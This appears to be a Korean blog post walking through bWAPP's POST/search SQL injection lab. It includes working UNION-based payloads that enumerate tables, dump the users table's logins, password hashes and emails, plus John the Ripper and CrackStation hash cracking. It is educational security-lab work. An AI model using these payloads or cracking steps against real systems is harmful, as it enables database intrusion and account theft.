본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 2-2. SQL 인젝션 [POST/SEARCH]

by Robert8478 2023. 12. 12.

[난이도 하]

POST 방식을 사용하기 때문에 위 URL 주소창에는 변수가 나타나지 않는 상황이다. 하지만 전문제와 똑같이 ' 를 넣으니 SQL 에러가 나왔다.
이번에는 버프슈트를 활용해서 공격해보자. intercept is on 활성화 상태에서 ' 를 넣어본다.

그랬더니 맨 밑에 title과 action 변수가 보이고 title 변수에 ' 의 URL인코딩 값인 %27이 나왔다. 즉, title 변수가 취약한 변수인것을 알 수 있다.
이제 title 변수에 ' or 1=1# 을 넣어보자.

그랬더니 참이 되어 모든 결과값들이 나왔다. 이제 union select만 해주면 된다. 칼럼 수는 전과 같을거 같아 바로 7자리로 해주었다.

title=' union select ALL 1,2,3,4,5,6,7#&action=search 와 같이 값을 넣었더니 2,3,4,5 칼럼 순서가 노출되었다.
만약 2,3,4,5에 대한 부분만 보고싶다면 title=' 이부분에 title=0' 과 같이 db에 존재하지 않는 값을 넣어주면 다른 값들은 출력이 안될것이다.

' 앞에 0을 넣어서 쿼리를 보내면 이처럼 노출된 칼럼 순서만 나온다. 이제 version() 정보를 출력해보자.

' union select ALL 1,version(),3,4,5,6,7# 쿼리를 넣어서 2 자리에 서버의 버전을 출력했다.이제 테이블 명을 알아보자.

title=0' union select ALL 1,table_name,3,4,5,6,7 from information_schema.tables#&action=search

위 구문을 넣었더니 table_name이 호출되었다. 이중 users 테이블에 계정 정보가 있을것 같으니 users 테이블의 칼럼명을 확인해보자.

title=0' union select ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name="users"#&action=search 와 같은 쿼리를 넣었더니 users 테이블의 칼럼명이 노출되었다.
이제 컬럼들을 선택해서 2,3,4,5 칼럼 자리에 위 정보들을 노출시키면 된다.

title=0' union select ALL 1,concat(id,admin),login,password,email,6,7 from users#&action=search
위와 같은 쿼리를 넣어주었다. 2 자리에는 id 와 admin 칼럼 정보를 출력했고 3 자리에는 login, 4 자리에는 password, 5 자리에는 email이 출력되게끔 하였다. 보아하니 login이 아이디, password가 해시화된 비밀번호를 출력하는것 같다. id는 순서번호, admin은 1만 출력하는걸 보니 1에 해당하는 id값을 가진 칼럼이 admin 계정의 칼럼일 수도 있겠다는 유추를 하였다.
이번에는 해시화된 비밀번호를 풀어 비밀번호를 알아내보자. 두가지 방법이 있다.

1. 칼리리눅스 존 더 리퍼 도구 이용

>우선 touch test.txt로 비밀번호 해시값이 저장될 텍스트 파일을 만든다.
>그 다음 저 해시값을 test.txt에 저장한다.
>sudo john --format:raw-sha1 ./test.txt(test.txt 파일 경로) 명령어를 입력해서 풀어낸다. 포맷은 sha1로 맞추었다.

그랬더니 아래에 bug 라는 패스워드가 나왔다.



2.해시값 크래킹 웹사이트 이용

구글링 하면 해시값을 크래킹해주는 사이트가 나오는데 대표적으로 크랙스테이션이 있다.

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

이동해서 해시값을 넣어주면 된다.

그랬더니 bug라는 비밀번호 값이 나왔다.

[난이도 중,상]
이전 문제와 마찬가지로 난이도 중은 addslashes으로 SQL 인젝션을 방어하고 있으며
난이도 상은 mysql_real_escape_string 함수를 이용하여 SQL 인젝션을 방어하고 있다.
그렇기에 중,상 문제에서 SQL 인젝션만으로 공격하기는 무리가 있다.